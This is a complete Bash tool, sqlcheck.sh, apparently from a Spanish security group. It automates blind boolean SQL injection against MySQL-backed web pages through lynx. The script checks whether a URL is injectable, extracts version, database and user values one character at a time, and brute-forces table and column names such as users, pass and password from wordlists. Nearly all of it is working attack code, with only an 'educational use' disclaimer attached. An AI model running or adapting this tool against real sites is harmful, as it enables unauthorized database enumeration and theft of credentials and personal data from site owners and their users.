#!/bin/sh

####################################################################
# version 1.0                                                      #
#                                                                  #
# sqlcheck.sh -> Mysql information, tables and fields              #
# sqldata.sh  -> Obtain values from the database (user, pass, ...) #
#                                                                  #
# by Pepelux (pepelux@enye-sec.org)                                #
#                                                                  #
# Website: http://www.enye-sec.org                                 #
# Blog:    http://www.enye-sec.org/pepelux                         #
####################################################################

# This script is for educational use only


##### REQUIREMENTS #####
# lynx navigator
# and linux :)


##### HOW DOES IT WORK #####
# This script exploits a vulnerable webpage injecting SQL code and doesn't use
# quotes to exploit it.
# Mysql doesn't show errors in the screen. For that we have to check the fields
# using the TRUE or FALSE method.
#
# To obtain information about the mysql we use:
# 	(SELECT SUBSTRING(Version(),1,1)=CHAR(52))>0
# 	(SELECT SUBSTRING(Database(),1,1)=CHAR(52))>0
# This compare if the first character is > 4 and depending if the result is
# true or false we can check the next character
#
# To obtain information about tables and fields we use:
# 	(SELECT COUNT(*) FROM table)>0
# 	(SELECT COUNT(field) FROM table)>0
#
# Tables and fields checking is by brute force and use two files:
#	tables.txt -> contain the tables you'd like to check
#	fields.txt -> contain the fields you'd like to check for each table


##### USAGE #####
# ./sqlcheck.sh <vulnerable_url> <string_to_compare> [-v] [-m] [-f]
#
# <vulnerable_url> is the URI to exploit. 
#	For example: http://www.domain.com/dir/show.php?id=5
#
# <string_to_compare> is a piece of string that only appears in the correct 
#                     call and doesn't appear with a bad call.
#
#	For example, suppose this webpage:
#	If you load http://www.dom.com/show.php?id=5 you'll see:
#		Hello Pepelux. You are the user number 5
#
#	And writting http://www.dom.com/show.php?id=5 and 1=0
#		Error! User not found
#
# 	In this example a possible string to compare is 'Hello' or 'Error'.
#
# [-v] verbose mode
#
# [-m] search minimun mysql values: Version(), Database() and User()
#
# [-f] search full mysql values: Version(), Database(), User(),
#      System_user(), Session_user(),Current_user() and Connection_id()


##### EXAMPLES #####
# ./sqlcheck.sh www.dom.com/show.php?id=5 "Hello:" 
# ./sqlcheck.sh www.dom.com/show.php?id=5 "Hello:" -v -m
# ./sqlcheck.sh www.dom.com/show.php?id=5 "Hello:" -f


#-------------------------------#
# Comprobando ficheros de datos #
#-------------------------------#

cat tables.txt >/dev/null 2>/dev/null

if ! [ $? = 0 ]
then
	echo "tables.txt doesn't exist. Creating a minimum tables.txt. Please review tables.txt and add the tables you'd like to check"
	echo "users" >tables.txt
	echo "profiles" >>tables.txt
	echo "clients" >>tables.txt
	echo "contacts" >>tables.txt
	echo "forum" >>tables.txt
	echo "pics" >>tables.txt
	echo "news" >>tables.txt
	echo "messages" >>tables.txt
	echo "mails" >>tables.txt
	echo "customers" >>tables.txt
fi

cat fields.txt >/dev/null 2>/dev/null

if ! [ $? = 0 ]
then
	echo "fields.txt doesn't exist. Creating a minimum fields.txt. Please review fields.txt and add the fields you'd like to check"
	echo "id" >fields.txt
	echo "iduser" >>fields.txt
	echo "user" >>fields.txt
	echo "usr" >>fields.txt
	echo "pass" >>fields.txt
	echo "pwd" >>fields.txt
	echo "passwd" >>fields.txt
	echo "password" >>fields.txt
	echo "mail" >>fields.txt
	echo "email" >>fields.txt
fi

echo ""

#------------------#
# Obteniendo datos #
#------------------#

if [ $# -lt 2 ]
then
	echo "If you'd like to use it with params you can write:"
	echo "./sqlcheck.sh <vulnerable_url> <string_to_compare> [-v] [-m] [-f]"
	echo ""
	echo "<vulnerable_url>    -> The URI to exploit. Example:"
        echo "                       http://www.miweb.com/ruta/ver.php?id=5"
	echo ""
	echo "<string_to_compare> -> A piece of string that only appears in the correct"
	echo "                       call and not in a wrong call (to compare results)"
	echo ""
	echo "[-v]                -> Verbose mode."
	echo "                       By defaul only show founded data"
	echo ""
	echo "[-m]                -> Search minimun Mysql values: Version(), Database()"
	echo "                       and User()"
	echo ""
	echo "[-f]                -> Search full Mysql values: Version(), Database(),"
	echo "                       User(), System_user(), Session_user(),"
	echo "                       Current_user() and Connection_id()"
	echo ""
	echo "-----"
	echo ""
	echo -n "Introduce the URI: "
	read URL
	echo -n "Introduce the string to compare: "
	read COMPARAR
	echo -n "Mysql information (No/Minimum/Full) [N]: "
	read FLAG

	FLAG1="x"
	FLAG2="x"
	FLAG3="x"
	
	if ! [ $FLAG ]
	then
		FLAG="N"
	fi

	if [ $FLAG = "M" ] || [ $FLAG = "m" ] || [ $FLAG = "Minimum" ]
	then
		FLAG1="-m"
	fi
		
	if [ $FLAG = "F" ] || [ $FLAG = "f" ] || [ $FLAG = "Full" ]
	then
		FLAG1="-f"
	fi
else
	URL=$1
	COMPARAR=$2

	FLAG1=$3
	FLAG2=$4
	FLAG3=$5
	
	if ! [ $FLAG1 ]
	then
		FLAG1="x"
	fi
	
	if ! [ $FLAG2 ]
	then
		FLAG2="x"
	fi
	
	if ! [ $FLAG3 ]
	then
		FLAG3="x"
	fi
fi


#----------------------------#
# Comprobacion de parametros #
#----------------------------#

URL=`echo $URL|sed 's/http:\/\///g'` # quitamos http:// si existe
URL1="http://$URL"
URL=`echo $URL|cut -d"/" -f1`
FICHERO="check-$URL-`date +%Y-%m-%d`.txt"
F1="`date +%s_1`.txt"
F2="`date +%s_2`.txt"

INI=97 # 48="0-9 A-Z a-z" // 65="A-Z a-z" // 97="a-z"
FIN=136

# Comprobamos si se ha escogido el modo Verbose	
if [ $FLAG1 = "-v" ] || [ $FLAG2 = "-v" ] || [ $FLAG3 = "-v" ] 
then
	VERBOSE="S"
else
	VERBOSE="N"
fi

#----------------------------#


# correspondencia de caracteres con el codigo ASCII. Para usar el 
# resto de caracteres A-Z y 0-9 hay que añadirlos tambien aqui
CARACTER[97]="a"
CARACTER[98]="b"
CARACTER[99]="c"
CARACTER[100]="d"
CARACTER[101]="e"
CARACTER[102]="f"
CARACTER[103]="g"
CARACTER[104]="h"
CARACTER[105]="i"
CARACTER[106]="j"
CARACTER[107]="k"
CARACTER[108]="l"
CARACTER[109]="m"
CARACTER[110]="n"
CARACTER[111]="o"
CARACTER[112]="p"
CARACTER[113]="q"
CARACTER[114]="r"
CARACTER[115]="s"
CARACTER[116]="t"
CARACTER[117]="u"
CARACTER[118]="v"
CARACTER[119]="w"
CARACTER[120]="x"
CARACTER[121]="y"
CARACTER[122]="z"

CARACTER[123]="0"
CARACTER[124]="1"
CARACTER[125]="2"
CARACTER[126]="3"
CARACTER[127]="4"
CARACTER[128]="5"
CARACTER[129]="6"
CARACTER[130]="7"
CARACTER[131]="8"
CARACTER[132]="9"
CARACTER[133]="-"
CARACTER[134]="_"
CARACTER[135]="@"
CARACTER[136]="."


# capturamos la pagina origina, sin errores
lynx -accept_all_cookies -dump -connect_timeout=5 "$URL1" | grep "$COMPARAR" > $F1

# Comprobamos si es vulnerable
URL2="$URL1 AND 1=1"
lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2

diff $F1 $F2 >/dev/null


if [ $? = 0 ]
then 
	# Si es vulnerable, comprobamos si filtra comillas
	URL2="$URL1 AND '1'='1'"
	lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2

	diff $F1 $F2 >/dev/null

	if [ $? = 0 ]
	then
		VULNERABLE="The URI is vulnerable and doesn't filter quotes"
	else
		VULNERABLE="The URI is vulnerable but it filters quotes"
	fi


	BUF[1]=$VULNERABLE
	echo $VULNERABLE > $FICHERO
	echo "" >> $FICHERO
	BUF[2]=""
	BUF[3]="URI: $URL1"
	echo "URI: $URL1" >> $FICHERO
	BUF[4]="String to compare: $COMPARAR"
	echo "String to compare: $COMPARAR" >> $FICHERO
	BUF[5]=""
	echo "" >> $FICHERO

	NBUF=5

	#-------------------------------------#
	# Buscamos informacion sobre el mysql #
	#                                     #
	# VERSION() / DATABASE() / USER()     #
	# SYSTEM_USER() / SESSION_USER()      #
	# CURRENT_USER() / CONNECTION_ID()    #
	#-------------------------------------#

	if [ $FLAG1 = "-m" ] || [ $FLAG2 = "-m" ] || [ $FLAG3 = "-m" ] || [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
	then	
		let NBUF++
		BUF[$NBUF]="Information about Mysql:"
		echo "Information about Mysql:" >> $FICHERO


		if [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
		then
			N=7 # parametro -f ... busqueda completa
		else
			N=3 # parametro -m ... busqueda reducida
		fi
		
		for X in `seq 1 $N`
		do
			if [ $FLAG1 = "-m" ] || [ $FLAG2 = "-m" ] || [ $FLAG3 = "-m" ] || [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 1 ] # VERSION()
				then
					CAMPO_BUSCA="version()"
					FRASE="Version:"
				fi
			fi
		
			if [ $FLAG1 = "-m" ] || [ $FLAG2 = "-m" ] || [ $FLAG3 = "-m" ] || [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 2 ] # DATABASE()
				then
					CAMPO_BUSCA="database()"
					FRASE="Database name:"
				fi
			fi
		
			if [ $FLAG1 = "-m" ] || [ $FLAG2 = "-m" ] || [ $FLAG3 = "-m" ] || [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 3 ] # USER()
				then
					CAMPO_BUSCA="user()"
					FRASE="User:"
				fi
			fi
		
			if [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 4 ] # SYSTEM_USER()
				then
					CAMPO_BUSCA="system_user()"
					FRASE="System user:"
				fi
			fi
		
			if [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 5 ] # SESSION_USER()
				then
					CAMPO_BUSCA="session_user()"
					FRASE="Session user:"
				fi
			fi
		
			if [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 6 ] # CURRENT_USER()
				then
					CAMPO_BUSCA="current_user()"
					FRASE="Current user:"
				fi
			fi
		
			if [ $FLAG1 = "-f" ] || [ $FLAG2 = "-f" ] || [ $FLAG3 = "-f" ]
			then
				if [ $X = 7 ] # CONNECTION_ID()
				then
					CAMPO_BUSCA="connection_id()"
					FRASE="Connection ID:"
				fi
			fi
		
			for I in `seq 1 100`  # reinicializamos el array (buscamos hasta 100 caracteres)
			do
				ARRAY[$I]=$INI
			done
		
			AUX=""
			PALABRA=""
				
			for I in `seq 1 100`  # comprobamos 100 caracteres maximo
			do
				ENCONTRADO=0
			
				for CAR in `seq ${ARRAY[$I]} $FIN`
				do
					if [ $CAR -lt 123 ] # a-z
					then
						CAR2=$CAR
					else
						if [ $CAR -lt 133 ] # 0-9
						then
							let CAR2=CAR-75
						else
							if [ $CAR = 133 ] # -
							then
								CAR2=45
							else
								if [ $CAR = 134 ] # _
								then
									CAR2=95
								else
									if [ $CAR = 135 ] # @
									then
										CAR2=64
									else # .
										CAR2=46
									fi
								fi
							fi
						fi	
					fi
				
					URL2="$URL1 AND (SELECT SUBSTRING($CAMPO_BUSCA,$I,1)=CHAR($CAR2))>0"
					lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2

					# Escribimos los resultados anteriores
					clear

					for x in `seq 1 $NBUF`
					do
						echo ${BUF[$x]}
					done

					echo -n $FRASE $PALABRA${CARACTER[$CAR2]}
					# -----------------
		
					diff $F1 $F2 >/dev/null
				
					if [ $? = 0 ] # encontramos un caracter
					then 
						ARRAY[$I]=$CAR
						AUX="$AUX SUBSTRING($CAMPO_BUSCA,$I,1)=CHAR($CAR2) AND"
						PALABRA="$PALABRA${CARACTER[$CAR]}"
						ENCONTRADO=1
						break
					fi
				done
					
				if [ $ENCONTRADO = 0 ]
				then
					# incrementamos el ultimo caracter para continuar la busqueda
					ARRAY[$I]=$INI
					Y=$I
					let Y=Y-1
					X=${ARRAY[$Y]}
					let X=X+1
					ARRAY[$Y]=$X
		
					let NBUF++
					BUF[$NBUF]="$FRASE $PALABRA"
					echo "$FRASE $PALABRA" >> $FICHERO
						
					break
				fi
			done
		done
	fi
	
	#-------------------------------------#

	clear

	for x in `seq 1 $NBUF`
	do
		echo ${BUF[$x]}
	done

	#----------------------------#
	# Buscamos nombres de tablas #
	#                            #
	# Contenidos en tables[H.txt   #
	#----------------------------#

	echo ""
	echo "Searching tables:"
	echo "" >> $FICHERO
	echo "Searching tables:" >> $FICHERO

	for TABLA in `cat tables.txt`
	do
		URL2="$URL1 AND (SELECT count(*) FROM $TABLA)>0"
		lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2
	
		diff $F1 $F2 >/dev/null
	
		if [ $? = 0 ]
		then 
			echo ""
			echo "Table $TABLA"
			echo "" >> $FICHERO
			echo "Table $TABLA" >> $FICHERO
			
	
			#----------------------------#
			# Buscamos nombres de campos #
			#                            #
			# Contenidos en fields.txt   #
			#----------------------------#

			for CAMPO in `cat fields.txt`
			do
				URL2="$URL1 AND (SELECT count($CAMPO) FROM $TABLA)>0"
				lynx -accept_all_cookies -dump -connect_timeout=5 "$URL2" | grep "$COMPARAR" > $F2
	
				diff $F1 $F2 >/dev/null
	
				if [ $? = 0 ]
				then 
					echo "     $CAMPO"
					echo "     $CAMPO" >> $FICHERO
				else
					if [ $VERBOSE = "S" ]
					then
						echo "     -- Field -> $CAMPO not found"
					fi
				fi
			done
		else
			if [ $VERBOSE = "S" ]
			then
				echo "-- -> Table $TABLA not found"
			fi
		fi
	done
else
	echo "URI $URL1 is not vulnerable. Check for the correct URL and the string to compare"
	echo "URI $URL1 is not vulnerable. Check for the correct URL and the string to compare" >> $FICHERO
fi

echo ""
echo "Log saved in $FICHERO"
	
rm $F1 $F2
